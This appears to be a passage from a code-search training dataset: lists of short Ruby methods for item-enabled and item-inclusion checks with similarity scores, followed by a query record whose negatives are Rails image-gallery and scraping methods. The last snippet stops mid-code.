"def has_this_item?(item_id)\n item_id.blank? ? true : self.delivered_items.map(&:item_id).include?(item_id)\n end",
"def has_this_item?(item_id)\n item_id.blank? ? true : self.delivered_items.map(&:item_id).include?(item_id)\n end",
"def include?(item)\r\n $game_party.usable?(item)\r\n end",
"def saw_item(item); end",
"def is_item? listing, flg=true\n val = %w(employment service item housing)\n flg ? !(listing.is_category_type? val) : (listing.is_category_type? val)\n end",
"def include_line_items?\n scope && scope[:include_line_items]\n end",
"def current_item_enabled?\n true\n end",
"def include_ids?(item_ids)\n all_item_ids == item_ids\n end",
"def include?(item)\n ret = false\n @resources.each{ |rsc| ret = true if rsc == item }\n @authors.each{ |auth| ret = true if auth == item } unless ret \n ret\n end",
"def interesting_item?(item)\n item.rack_id == rack_id\n end",
"def has_item?(item, include_equip = false)\n if item_number(item) > 0\n return true\n end\n if include_equip\n for actor in members\n return true if actor.equips.include?(item)\n end\n end\n return false\n end",
"def needs_item_set\n\t\treturn false\n\tend",
"def current_item_enabled?\n return true\n end",
"def present?\n items.present?\n end",
"def contains?(item)\n\n\n\n\n end",
"def has_items?\n menu_items.present?\n end",
"def item_matches?(checked_item)\n if item_based?\n item == checked_item\n else\n checked_item.tags.include? tag\n end\n end",
"def item_or_collection?\n item? || collection?\n end",
"def extend_item(item)\n item.is_a?(Hash) && item[:excluded] ? nil : item\n end",
"def extend_item(item)\n item.is_a?(Hash) && item[:excluded] ? nil : item\n end",
"def include?(item)\n return false if item == nil\n return false unless item.is_a?(RPG::EquipItem)\n return false if @slot_id < 0\n return false if item.etype_id != @actor.equip_slots[@slot_id]\n return @actor.equippable?(item)\n end",
"def enable?(item); true; end",
"def bar_item?\n @bar_item\n end",
"def include?(item)\n return true if item == nil\n if @equip_type == 0\n return false unless item.is_a?(RPG::Weapon)\n else\n return false unless item.is_a?(RPG::Armor)\n return false unless item.kind == @equip_type - 1\n end\n return @actor.equippable?(item)\n end",
"def has_ordered?(item_to_check)\n if item_to_check.class == Item\n @order.any? {|item| item.name == item_to_check.name}\n else \n false\n end \nend",
"def has_items?\n total_items > 0\n end",
"def has_items?\n total_items > 0\n end",
"def include?(item)\n item_hash = item.hash\n\n index = item_hash & @mask\n return true if match? @table, index, item_hash, item\n\n index = item_hash.hash & @mask\n return true if match? @table, index, item_hash, item\n\n return false if @spill.empty?\n\n i = @spill.to_iter 3\n while i.next\n return true if match? @spill, i.index, item_hash, item\n end\n\n false\n end",
"def include?(item_id_type, item_id)\n active?( item_id_type, item_id ) ||\n saved_for_later?( item_id_type, item_id )\n end",
"def is_item_empty?(item)\n\t\titem && item.empty?\n\tend",
"def works_with\n self.class.use_with_class_names.include? item_type\n end",
"def item_included?(str, arr)\n arr.each do |item|\n return true if item == str\n end\n false\nend",
"def item_add item\n\t\tret = super\n\t\titem.known! if (ret)\n\t\treturn ret\n\tend",
"def should_i_buy?(item)\n !!list[item.to_sym]\n end",
"def has?(item)\r\n ! @contents[item].nil?\r\n end",
"def empty_item_list?\n if @offer[:items] && @offer[:items].empty?\n error = true\n add_error(:offer, :items, \"Empty item-list is not allowed\")\n end\n\n if @for[:items] && @for[:items].empty?\n error = true\n add_error(:for, :items, \"Empty item-list is not allowed\")\n end\n\n error ||= false\n end",
"def has_line_items?\n line_items.any?\n end",
"def include?(arr, include_item)\n arr.each { |item| return true if item == include_item }\n false\nend",
"def first_item?\n true\n end",
"def menu_item?\n @menu_item\n end",
"def sellable_items\n all_items.select { |item| item.traddable? }\n end",
"def include?(p_item)\n target = Regexp.new(p_item,'i') # create regular expression for case-insensitive comparison\n for itm in self.prescription_items\n return itm if target =~ itm.drug\n end\n return nil\n end",
"def add_item_to_list?(_item)\n raise NoMethodError, \"Subclass must define the #{__method__} method and return true or false\", caller\n end",
"def has_item?(command)\n return true if @items.include?(command)\n end",
"def empty?\n\t\tself.items\n\tend",
"def get_items_with dish\n @menu_items.select {|item| item.has? dish}\n end",
"def sub_menu?\n items && (items.empty? ? false : true)\n end",
"def item_layout?\n layout_type == \"item\"\n end",
"def marked_items\n items.select(&:marked?)\n end",
"def items_loaded?\n [email protected]?\n end",
"def check_list (list, item)\n if list.include?(item) == true\n puts \"You need to pick up \" + item\n else\n puts \"You do not need to pick up \" + item\n end\nend",
"def contain_item?(id)\n return item_quantity(id) > 0\n end",
"def include_all?(*items)\n items = items.first if items.length == 1 && items.first.kind_of?(Array)\n (items - self).empty?\n end",
"def item_usable?\n return false unless @item\n return @actor ? @actor.usable?(@item) : $game_player.usable?(@item)\n end",
"def enable?(item)\n if item.is_a?(RPG::Item)\n return true if !item.key_item?\n elsif item.is_a?(RPG::Weapon) || item.is_a?(RPG::Armor)\n return true\n else\n return false\n end\n end",
"def enable?(item)\n end",
"def has_item_content?(content)\n # TODO Stubbed - Requires definition and implementation\n end",
"def enable?(item)\n true\n end",
"def enable?(item)\n true\n end",
"def current_item_enabled?() target end",
"def include?(key)\n # Ensure a Ruby true is returned\n item_exists(key) == true\n end",
"def create_items_page?\n items_shortcut != inventory_shortcut\n end",
"def applicable_to_item(item)\n return true unless belongs_to_category?\n\n item.fields.any? do |field|\n next unless field.is_a?(ChoiceSet)\n\n choice = field.selected_choice(item)\n choice && choice.category_id == category_id\n end\n end",
"def containments\n item.containments\n end",
"def current_item_enabled?\n return !@data[index].nil?\n end"
] |
[
"0.7721838",
"0.76347744",
"0.7532898",
"0.7394234",
"0.7251723",
"0.7233726",
"0.7154766",
"0.7093502",
"0.7055652",
"0.70295596",
"0.69157076",
"0.6900268",
"0.6799219",
"0.67787296",
"0.67312205",
"0.67238545",
"0.67238545",
"0.6717945",
"0.6715319",
"0.67140734",
"0.6705468",
"0.6688783",
"0.666296",
"0.6651002",
"0.66366154",
"0.66065216",
"0.65991265",
"0.65894973",
"0.6577707",
"0.6570394",
"0.656161",
"0.65531504",
"0.6535648",
"0.6516715",
"0.6505432",
"0.647848",
"0.647848",
"0.6474041",
"0.64687794",
"0.6462374",
"0.6461223",
"0.6438614",
"0.6433416",
"0.6420427",
"0.6417044",
"0.6385483",
"0.6378293",
"0.6377655",
"0.6359348",
"0.63493776",
"0.63425994",
"0.6340682",
"0.62983614",
"0.62890935",
"0.62890935",
"0.62849164",
"0.62837005",
"0.6279671",
"0.6274802",
"0.62625265",
"0.62528074",
"0.62528074",
"0.6240898",
"0.62120354",
"0.6200591",
"0.6190522",
"0.6190345",
"0.61706656",
"0.61586094",
"0.615445",
"0.6139595",
"0.613638",
"0.6128077",
"0.6120517",
"0.61093545",
"0.6097017",
"0.609373",
"0.6088027",
"0.60845757",
"0.60690296",
"0.60677797",
"0.60664797",
"0.60629016",
"0.6062794",
"0.605951",
"0.6057414",
"0.6053299",
"0.6052741",
"0.60482347",
"0.6047767",
"0.6040145",
"0.6016436",
"0.6015016",
"0.6015016",
"0.6014764",
"0.6010711",
"0.6008141",
"0.60019976",
"0.6000915",
"0.5999917"
] |
0.7150044
|
7
|
Whether or not to display in enabled state item : item
|
def enable?(item)
return (item.price > 0)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_item_enabled?\n true\n end",
"def current_item_enabled?\n return true\n end",
"def enable?(item)\n item.enabled?\n end",
"def enable?(item)\n item.enabled?\n end",
"def current_item_enabled?\r\n current_data ? current_data[:enabled] : false\r\n end",
"def current_item_enabled?\n current_data ? current_data[:enabled] : false\n end",
"def enable?(item); true; end",
"def enable?(item)\n true\n end",
"def enable?(item)\n true\n end",
"def current_item_enabled?\n enabled?(index)\n end",
"def current_item_enabled?\r\n enable?(index)\r\n end",
"def current_item_enabled?() target end",
"def enable?(item)\n return true\n end",
"def enable?(item)\n return true\n end",
"def enable?(item)\n end",
"def current_item_enabled?\n true#enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@index)\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[index])\n end",
"def current_item_enabled?\n enable?(@data[@index])\n end",
"def current_item_enabled?\n return !@data[index].nil?\n end",
"def enabled_state\n super\n end",
"def enabled_state\n super\n end",
"def enabled_state\n super\n end",
"def enabled_state\n super\n end",
"def enabled_state\n super\n end",
"def enabled_state\n super\n end",
"def enable?(item)\n return false if item.nil?\n return true\n end",
"def enable?(item)\n return false if item.nil?\n return true\n end",
"def enable?(item)\n if item.is_a?(RPG::Item)\n return true if !item.key_item?\n elsif item.is_a?(RPG::Weapon) || item.is_a?(RPG::Armor)\n return true\n else\n return false\n end\n end",
"def enable?(item)\n item && item.price > 0\n end",
"def enable?(item)\n CookingManager.quantity(item) > 0\n end",
"def enabled\n @attributes[:enabled]\n end",
"def enable?(item)\n true#$game_party.usable?(item)\n end",
"def active?\n enabled\n end",
"def enabled?\n true\n end",
"def extra_item?\n false\n end",
"def enable?(item)\n return false if item.nil?\n return false unless has_recipebook?\n return false if item.tocrafting_gold_fee > $game_party.gold\n return false if $game_party.item_max?(item)\n return false unless have_tools?(item)\n return false unless have_actors?(item)\n return true if item.ingredient_list.empty?\n return have_ingredients?(item)\n end",
"def can_activate?(item)\r\n item.activatable_by?(self)\r\n end",
"def enabled?; end",
"def enabled?; end",
"def enabled; end",
"def enabled; end",
"def enabled; end",
"def enabled; end",
"def enabled; self.settings[:enabled]; end",
"def state_has_items\n\t\t\[email protected](0)\n\t\tend",
"def enable?(item)\n return false if item.nil?\n return false if $game_party.gold < item.dismantle_gold_fee \n return item.dismantlable?\n end",
"def editable?\r\n self.is_active?\r\n end",
"def enabled?\n !disabled?\n end",
"def enabled?\n !disabled?\n end",
"def enabled\n\t\ttrue\n\tend",
"def can_activate?(item)\n item.activatable_by?(self)\n end",
"def enabled?\n state.eql? 'active'\n end",
"def enabled\n return @enabled\n end",
"def enabled\n return @enabled\n end",
"def enabled\n return @enabled\n end",
"def enabled\n select(&:enabled?)\n end",
"def menu_item?\n @menu_item\n end",
"def enabled?()\n #This is a stub, used for indexing\n end",
"def disabled?\n state == :DISABLED\n end",
"def enabled?\n true\n end",
"def enabled?\n true\n end",
"def enabled?\n false\n end",
"def status\n super || ListItem.active_status\n end",
"def item_choice?\r\n @item_choice_variable_id > 0\r\n end",
"def enable_disable_inventory?\n active? && !delivered? && !is_draft?\n end",
"def menu_item_display_if\n menu_options[:if] || proc { true }\n end",
"def attributes\n @enabled\n end",
"def enabled?\n false\n end",
"def enabled\n object.id.present?\n end",
"def enabled?\n return enabled\n end",
"def enabled?\n \n return @enabled\n \n end",
"def enabled?\n \n return @enabled\n \n end",
"def instance_enabled?(item)\n return InstanceManager.instance_enabled?(item)\n end",
"def enable(item)\n run(item)\n end",
"def enabled?\n state.nonzero?\n end",
"def shown_in_menu?\n false\n end",
"def disabled?\n @disabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_enabled\n return @is_enabled\n end",
"def is_showable\n return true unless self.is_hidden or self.is_deleted or self.status == \"tmp\"\n end",
"def command_enabled?(index)\r\n @list[index][:enabled]\r\n end",
"def disabled?\n !enabled?\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def disabled?\n false\n end",
"def disabled?\n @disabled == true\n end",
"def check_item_condition?\n # disallow usage if item button disabled\n return false if !$game_system.item_button\n # disallow usage\n item_condition = false\n # if using direct hotkeys\n if BlizzABS::Config::DIRECT_HOTKEYS\n # check direct hotkeys\n item_condition = self.item_hotkeys?\n # if item button pressed\n elsif Input.trigger?(Input::Item)\n # allow usage\n item_condition = true\n end\n # return result\n return item_condition\n end"
] |
[
"0.8095887",
"0.8017462",
"0.79665726",
"0.79665726",
"0.7796157",
"0.77506685",
"0.7695043",
"0.7616796",
"0.7616796",
"0.76061475",
"0.7601957",
"0.74774003",
"0.7459621",
"0.7459621",
"0.74483293",
"0.74419934",
"0.743488",
"0.7415688",
"0.7415688",
"0.7415688",
"0.7415688",
"0.7415688",
"0.7415688",
"0.7353845",
"0.72884655",
"0.70182335",
"0.70182335",
"0.70182335",
"0.70182335",
"0.70182335",
"0.70182335",
"0.69893813",
"0.6988898",
"0.68126327",
"0.6775868",
"0.6678019",
"0.6665158",
"0.65973496",
"0.6582257",
"0.65544677",
"0.6533187",
"0.65223694",
"0.64890826",
"0.6416233",
"0.6416233",
"0.64066905",
"0.64066905",
"0.64066905",
"0.64066905",
"0.63999397",
"0.639922",
"0.63957953",
"0.63922536",
"0.63904804",
"0.63904804",
"0.6381129",
"0.63565785",
"0.6322073",
"0.63072586",
"0.63072586",
"0.63072586",
"0.62978864",
"0.624997",
"0.6244733",
"0.6241538",
"0.62361664",
"0.62361664",
"0.622635",
"0.62203723",
"0.6214482",
"0.6210509",
"0.62096643",
"0.61986125",
"0.6193997",
"0.61912495",
"0.6164093",
"0.61533195",
"0.61533195",
"0.6151583",
"0.61148",
"0.611198",
"0.6103814",
"0.6101406",
"0.60865563",
"0.60865563",
"0.60865563",
"0.60865563",
"0.60865563",
"0.60865563",
"0.60865563",
"0.60837954",
"0.60836726",
"0.6076527",
"0.60741574",
"0.60741574",
"0.60741574",
"0.60741574",
"0.6073487",
"0.605989",
"0.6056409"
] |
0.6872423
|
33
|
don't have to pass master_pics everytime because results get cached anyway.
|
def correct(master_pics = nil)
@correct_pics ||= self.select do |pic|
pic.bid_id && master_pics.detect { |p| pic.game_id == p.game_id }.bid_id == pic.bid_id
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def load_album_photos\n # @pictures = Picture.paginate(:page => params[:page], :per_page => 5)\n @curr_album = Album.find(params[:id])\n @pictures = @curr_album.shared_pictures(@login_user.id,params[:page].to_i)\n end",
"def person_photos\n Gallerist::PersonPhoto.where master_uuid: master.uuid\n end",
"def images; end",
"def images_with_master_product_delegation\n return master_product.images if master_product\n images_without_master_product_delegation\n end",
"def picture_list\n end",
"def images\n return @canonical_image_pool if @canonical_image_pool\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Retrieving all images\"\n check_retval @image_pool.info_all!\n\n @canonical_image_pool = []\n @image_pool.each { |image| @canonical_image_pool << canonical_image(image) }\n @canonical_image_pool\n end",
"def images\n end",
"def get_current_images\n cache = {}\n sources = @sources.find\n @categories.categories.each { |key, category|\n cache[key] = sources.flat_map { |source|\n summary = category.grade(source[:summary])\n images = source[:images].map { |image| {\n :link => image[:image],\n :source => image[:source],\n :grade => summary + category.grade(image[:summary],\n :summary => image[:summary])\n }}.select { |image| image[:grade] > 0}\n images\n }\n }\n cache\n end",
"def load_pictures\n page = params[:page].to_i\n per_page = 20\n off = (page-1)*per_page\n @discussion_group = DiscussionGroup.find(params[:id])\n @pictures = @discussion_group.images.offset(off).limit(10).order(\"photo_updated_at DESC \")\n end",
"def current_main_pictures # teaser \n self.pictures.where(:is_deleted => false,:is_feature_picture => false, :is_main_picture => true).order(\"name ASC\")\n end",
"def images\n @picturesandmeta = Pictureandmeta.all\n @kind = Kind.find(params[:kind_id])\n Rails.logger.info(\"Kind: #{@kind.inspect}\")\n end",
"def magic\n\t @word = Word.find(params[:id])\n\t\ttitle = @word.title\n if params[:more]\n\t\t @pics = Rails.cache.fetch(\"olive/#{title}\",:expires_in => 5.hours) do\n \t\t\tresults = Parallel.map([Olive::Tumblr,Olive::Instagram,Olive::Px]) do |p|\n \t\t\t\tphotos(p,title)\n \t\t\tend\n \t\t\tresults[0] + results[1] + results[2]\n \t\tend\n \telse\n \t opt = params[:ctag].blank? ? '' : @word.ctag_list.join(\" \")\n @pics = Grape::WordImage.new(title).parse(opt)[0..14]\n\t end\n\n\t\trender_json 0,\"ok\",@pics\n\tend",
"def index\n\t\tpool = []\n\t\t# this'll get expensive... try getting a random site?\n\t\tSite.find(:all,:conditions => {:active => true}).each do |site|\n\t\t\tpool = pool + site.voted_less_than(5,5) # five images with less than 5 votes\n\t\tend\n\n\t\t@image = pool[((pool.length-1)*rand).to_i]\n\t\[email protected]\n\tend",
"def get_images\n {}\n end",
"def images_fetch\n url_relations = get_relations(self.relations, \"url\")\n @imgurls = []\n url_relations.each do |relation|\n if @imgurls.count < 4\n puts \"url relation\"\n url = relation[\"url\"][\"resource\"]\n case relation[\"type\"]\n when \"allmusic\"\n puts \"allmusic\"\n begin\n doc = Nokogiri::HTML(open(url,'User-Agent' => 'firefox'))\n # parse for allmusic.com\n if doc.css(\".artist-image\").count != 0\n imgurl = doc.css(\".artist-image\").children.css(\"img\").attribute(\"src\").value\n @imgurls << imgurl\n end\n rescue\n puts \"skipped\"\n end\n puts \"exit allmusic\"\n # TODO -- can we get all images in lightbox gallery?\n when \"bandsintown\"\n puts \"bandsintown\"\n doc = Nokogiri::HTML(open(url))\n if doc.css(\".sidebar-image\").count != 0\n imgurl = doc.css(\".sidebar-image\").css(\"img\").attribute(\"src\").value\n @imgurls << imgurl\n end\n puts \"exit bandsintown\"\n when \"last.fm\"\n # parse for last.fm\n when \"myspace\"\n # parse for myspace.com\n when \"wikipedia\"\n puts \"wiki\"\n Wikipedia.find(url).image_urls.each do |url|\n # TODO DO NOT PUT SVG FILES HERE\n @imgurls << url unless url.include?(\".svg\")\n end\n puts \"exit wiki\"\n end\n end\n end\n puts \"images fetch return\"\n return @imgurls\n end",
"def main_image\n self.images.first.image\n end",
"def images\n []\n end",
"def photo_wrapper\n Cachy.cache(\"photo_#{@slug}\") { self.photo }\n end",
"def index\n if current_user.is_admin\n @images = Image.masters.find(:all)\n else\n @images = Image.this_user(current_user).masters.find(:all)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @images }\n end\n end",
"def images\n @images ||= {}\n end",
"def images_for_mushroom_app # :nologin: :norobots:\n minimum_confidence = params[:minimum_confidence].blank? ? 1.5 : params[:minimum_confidence]\n minimum_quality = params[:minimum_quality].blank? ? 2.0 : params[:minimum_quality]\n target_width = params[:target_width].blank? ? 400 : params[:target_width]\n target_height = params[:target_height].blank? ? 600 : params[:target_height]\n minimum_width = params[:minimum_width].blank? ? target_width : params[:minimum_width]\n minimum_height = params[:minimum_height].blank? ? target_height : params[:minimum_height]\n confidence_reward = params[:confidence_reward].blank? ? 2.0 : params[:confidence_reward]\n quality_reward = params[:quality_reward].blank? ? 1.0 : params[:quality_reward]\n ratio_penalty = params[:ratio_penalty].blank? ? 0.5 : params[:ratio_penalty]\n\n # Last term in ORDER BY spec below penalizes images of the wrong aspect ratio.\n # If we wanted 600x400 it will penalize 400x400 images by 'ratio_penalty'.\n ratio_penalty = ratio_penalty.to_f / Math.log10(600.0/400)\n\n names = get_list_of_names(params[:names])\n names = names.map {|n| \"'\" + n.gsub(/'/, '\\\\\\'') + \"'\"}.join(',')\n\n data = Name.connection.select_rows(%(\n SELECT y.name, y.id, y.width, y.height\n FROM (\n SELECT x.text_name AS name, i.id AS id, i.width AS width, i.height AS height\n FROM (\n SELECT DISTINCT n1.text_name AS text_name, n2.id AS name_id\n FROM names n1\n JOIN names n2 ON IF(n1.synonym_id IS NULL, n2.id = n1.id, n2.synonym_id = n1.synonym_id)\n WHERE n1.rank = 'Species' AND n1.text_name IN (#{names})\n ) AS x, observations o, images i\n WHERE o.name_id = x.name_id\n AND i.id = o.thumb_image_id\n AND o.vote_cache >= #{minimum_confidence}\n AND i.vote_cache >= #{minimum_quality}\n AND i.width >= #{minimum_width} AND i.height >= #{minimum_height}\n ORDER BY\n o.vote_cache * #{confidence_reward} +\n i.vote_cache * #{quality_reward} -\n ABS(LOG(width/height) - #{Math.log10(target_width.to_f/target_height)}) * #{ratio_penalty} DESC\n ) AS y\n GROUP BY y.name\n ))\n\n if params[:test]\n render_test_image_report(data)\n else\n render_image_csv_file(data)\n end\n rescue => e\n render(:text => e.to_s, :layout => false, :status => 500)\n end",
"def process_response(user, response)\n images = []\n ActiveRecord::Base.transaction do\n response[\"images\"].each do |inner|\n if inner\n indexer = inner[\"id_number\"].to_s\n # Quick check to make sure we dont try to add something to the database we already had\n databased_image = Image.exists?(indexer: indexer)\n if databased_image\n images << Image.where(indexer: indexer).first\n else\n link = inner[\"image\"]\n images << Image.create({\n :indexer => indexer,\n :dead => link.nil?,\n :thumb_link => inner[\"representations\"] ? inner[\"representations\"][\"thumb\"].to_s : nil,\n :tags => inner[\"tags\"] ? inner[\"tags\"] : [],\n :score => inner[\"score\"],\n :base_link => link ? \"#{File.dirname(link)}/#{indexer}__\" : \"\",\n :extension => link ? File.extname(link) : \"\"})\n end\n end\n end\n end\n images\n end",
"def photos_for_merge\n photo_urls - ignored_photo_urls\n end",
"def find_images\n if params.has_key?(:image) \n @images = Image.all()\n @image = Image.new()\n @image.tags = \"\"\n helpers.fetch_tags(find_images_params)\n\n tag_array = Array.new()\n tags = @image.tags\n tag_array = tags.delete_suffix(',').split(',')\n @search_results = helpers.find_images(tag_array)\n \n render 'images/searchResults'\n else\n @images = Image.all()\n render 'images/index'\n end\n\n \n end",
"def images\n @images = super || []\n end",
"def photo_discussions\n @album = Album.find(:all,:conditions=>[\"user_id=?\",@login_user.id])\n from = Time.now-30.days\n to = Time.now\n page = 1\n order_by_rating = false\n @pictures = @login_user.all_visible_pictures(from, to, page,order_by_rating,0,0)\n #@pictures = Picture.paginate(:page => 1, :per_page => 5)\n end",
"def get_exact_images_for_job_reference(image_page_no)\r\n if !images_for_jobs.blank?\r\n first_image_for_job = images_for_jobs.first\r\n page_count = first_image_for_job.page_count.to_i\r\n is_multi_page = page_count > 1\r\n if is_multi_page\r\n images_for_job_id = first_image_for_job.id\r\n else\r\n images_for_jobs.each do |images_for_job|\r\n if image_page_no.to_i == images_for_job.image_number\r\n images_for_job_id = images_for_job.id\r\n end\r\n if !images_for_job_id.blank?\r\n break\r\n end\r\n end\r\n end\r\n end\r\n images_for_job_id\r\n end",
"def my_images(options = {})\n images options.merge(:owners => 'self')\n end",
"def make_primary\n photo = Photo.find(params[:photo_id])\n @venue.set_primary_photo(photo.id)\n render json: { images: gallery_images(@venue) }\n end",
"def prepare_image\n images = []\n image = ImagesForJob.new\n parse_values(\"IMAGE\", image)\n @multi_page_image_name = image.image_file_name.strip\n image_name = image.image_file_name.strip.split(\".\").first\n @job_images = Dir.glob(\"#{@location}/**/#{image_name}.*\", File::FNM_CASEFOLD)\n @job_images.sort!\n convert_single_page_to_multipage\n Dir.glob(\"#{@location}/**/images\")\n image = ImagesForJob.new(:image_file_name=>\"#{@multi_page_image_name}\")\n images,@initial_image_name = InputBatch.convert_multipage_to_singlepage(image,@location,@img_count)\n return images\n end",
"def images_across_projs\n # return a list of Images (only) that are linked through ImageDescriptions, spanning all projects\n # Image.find(:all) \n false\n end",
"def get_images_data\t\t\t\t\t\t\n\t\t{ payload: { 'makes' => makes_dropdown, 'images' => images_array('none').compact}, success: true}\n\tend",
"def images_for_gallery gallery_id, info_level = \"Full\", include_photos = \"true\"\n\t\t\t@response = api_request 'LoadPhotoSet', [gallery_id, info_level, include_photos]\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, @response['error']['message'] if @response['result'].nil? && @response['error'].length > 0\n\n\t\t\t@response['result']['Photos'].each do |value|\n\t\t\t\taccess_descriptor = ZenfolioAPI::Model::AccessDescriptor.new(:realm_id => value['AccessDescriptor']['RealmId'], \n\t\t\t\t\t:access_type => value['AccessDescriptor']['AccessType'], :is_derived => value['AccessDescriptor']['IsDerived'], \n\t\t\t\t\t:access_mask => value['AccessDescriptor']['AccessMask'], :password_hint => value['AccessDescriptor']['PasswordHint'], \n\t\t\t\t\t:src_password_hint => value['AccessDescriptor']['SrcPasswordHint'])\n\n\t\t\t\t@photos << ZenfolioAPI::Model::Image.new(:id => value['Id'], :width => value['Width'], :height => value['Height'], :sequence => value['Sequence'], \n\t\t\t\t\t:access_descriptor => access_descriptor, :owner => value['Owner'], :title => value['Title'], :mime_type => value['MimeType'], \n\t\t\t\t\t:size => value['Size'], :gallery => value['Gallery'], :original_url => value['OriginalUrl'], :url_core => value['UrlCore'], \n\t\t\t\t\t:url_host => value['UrlHost'], :url_token => value['UrlToken'], :page_url => value['PageUrl'], :mailbox_id => value['MailboxId'], \n\t\t\t\t\t:text_cn => value['TextCn'], :flags => value['Flags'], :is_video => value['IsVideo'], :duration => value['Duration'], :caption => value['Caption'], \n\t\t\t\t\t:file_name => value['FileName'], :uploaded_on => value['UploadedOn']['Value'], :taken_on => value['TakenOn']['Value'], :keywords => value['keywords'], \n\t\t\t\t\t:categories => value['Categories'], :copyright => value['Copyright'], :rotation => value['Rotation'], :exif_tags => value['ExifTags'], :short_exif => value['ShortExif'])\n\t\t\tend\n\n\t\t\t@photos\n\t\tend",
"def pic_audit\n @pics = Array.new\n Coin.has_pics(1).each do |c|\n c.pics.each do |pic|\n unless FileTest.exists?(Rails.root.join(\"public\", self.pic.url.split('?').first)) then \n @pics << pic\n end\n end\n end\n\n @pics\n end",
"def gallery_for_user(user)\n # GARF: The cachebusting timestamp is for testing worst case load times remove before production!!!\n # The map is butt slow (1 second for 700 pics) and should not be used!\n # photos.first(100).map{|p| p.pic.url(:thumb) + \"-\" + Time.now.to_i.to_s}\n photos.order(\"created_on DESC\").map{|p| p.attributes_for_app }\n end",
"def images\n @images ||= Hash.new\n end",
"def get_images(hash)\n url = open(\"https://www.mariowiki.com/Super_Smash_Bros._Ultimate\")\n document = Nokogiri::HTML(url)\n\n veteran_table = document.css(\".gallery.mw-gallery-traditional\")[0]\n newcomers_table = document.css(\".gallery.mw-gallery-traditional\")[1]\n\n get_portraits_and_icons(hash, veteran_table)\n get_portraits_and_icons(hash, newcomers_table)\nend",
"def home\n @images = [\"random_people.jpg\", \"using_phones.jpg\", \"naeem.jpg\"]\n end",
"def gallery_images\n imgs = []\n images.each do |image|\n imgs << image.public_filename(:medium)\n end\n 1.upto(6 - imgs.size) do |i|\n imgs << \"/images/placeholder.png\"\n end\n imgs\n end",
"def index\n params[:tag] ? @photos = Photo.tagged_with(params[:tag]) : @photos = Photo.all\n album = params[:album_id]\n @photos = current_user.photos.all.where(album_id: album).with_attached_pictures\n\n end",
"def show\n @album = Album.find(:all,:conditions=>[\"user_id=?\",@login_user.id])\n @curr_album = Album.find(params[:id])\n #@pictures = Picture.find(:all,:conditions=>[\"album_id=?\",params[:id]])\n #@pictures = @curr_album.shared_pictures(@login_user.id)\n @pictures = @curr_album.shared_pictures(@login_user.id,1)\n @is_current_user = @other_user\n respond_to do |format|\n format.html \n end\n end",
"def all_images\n # For all images:\n image_text_files = Dir\n .children(folder_path)\n .select do |path|\n path.start_with?('output-')\n end\n .sort\n # .tap{|fs| puts fs }\n image_text_data = image_text_files.map do |path|\n File.read(File.join(folder_path, path))\n end\n image_jsons = image_text_data.map do |json_string|\n JSON.parse(json_string)\n end\n page_regex = /#{image_prefix}(\\d+)#{image_suffix}/\n ordered_image_jsons = image_jsons.sort do |a, b|\n a_uri = a['responses'].first['context']['uri']\n b_uri = b['responses'].first['context']['uri']\n a_num = a_uri.match(page_regex)[1].to_i\n b_num = b_uri.match(page_regex)[1].to_i\n a_num <=> b_num\n end\n\n ordered_images_count = ordered_image_jsons.count\n ordered_image_jsons.each.with_index do |ordered_image_json, image_index|\n # next unless image_index == 4\n\n puts \"Processing image #{image_index+1} of #{ordered_images_count}\"\n uri = ordered_image_json['responses'].first['context']['uri']\n # puts \"Processing URI #{uri}\"\n page_number = uri.match(page_regex)[1].to_i\n # puts \"Processing page number #{page_number}\"\n\n input_image_path = full_image_path(page_number)\n # puts \"File.exist?(#{input_image_path}): #{File.exist?(input_image_path)}\"\n image = Magick::Image.read(input_image_path)[0]\n # json_path =\"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/output-#{page_number}-to-#{page_number}.json\"\n # json_text = File.read(json_path)\n # json = JSON.parse(json_text)\n\n bounding_box = ordered_image_json[\"responses\"].first[\"textAnnotations\"][1][\"boundingPoly\"]\n vertices = bounding_box[\"vertices\"]\n\n confidence_symbols_to_colors = {\n # very_confidence: '#BED1D8',\n # very_confidence: '#000000',\n very_confidence: '#555',\n moderately_confidence: '#FFAE03',\n sort_of_confidence: '#E67F0D',\n low_confidence: '#E9190F'\n }\n\n numbers_to_confidence_symbols = {\n 80..100 => :very_confidence,\n 50..80 => :moderately_confidence,\n 31..50 => :sort_of_confidence,\n 0..30 => :low_confidence\n }\n\n numbers_to_stroke_opacity = {\n 80..100 => '35%',\n 60..80 => '100%',\n 31..60 => '100%',\n 0..30 => '100%'\n }\n numbers_to_stroke_width = {\n 80..100 => 2,\n # 80..100 => 4,\n 50..80 => 5,\n # 50..80 => 4,\n 31..50 => 5,\n 0..30 => 5\n }\n\n pages = ordered_image_json[\"responses\"].first[\"fullTextAnnotation\"]['pages']\n blocks = pages.map{|p| p['blocks'] }.flatten.compact\n paragraphs = blocks.map{|b| b['paragraphs'] }.flatten.compact\n words = paragraphs.map{|p| p['words'] }.flatten.compact\n symbols = words.map{|w| w['symbols'] }.flatten.compact\n symbols_total = symbols.count\n symbols.each.with_index do |symbol, symbol_index|\n # next unless symbol_index == 41\n\n # puts \" Processing symbol #{symbol_index+1} of #{symbols_total}\"\n bounding_box = symbol[\"boundingBox\"]\n vertices = bounding_box[\"vertices\"]\n confidence = symbol['confidence'] || 0\n confidence_number = (confidence * 100).to_i\n confidence_symbol = numbers_to_confidence_symbols.select{|n| n === confidence_number }.values.first\n color = 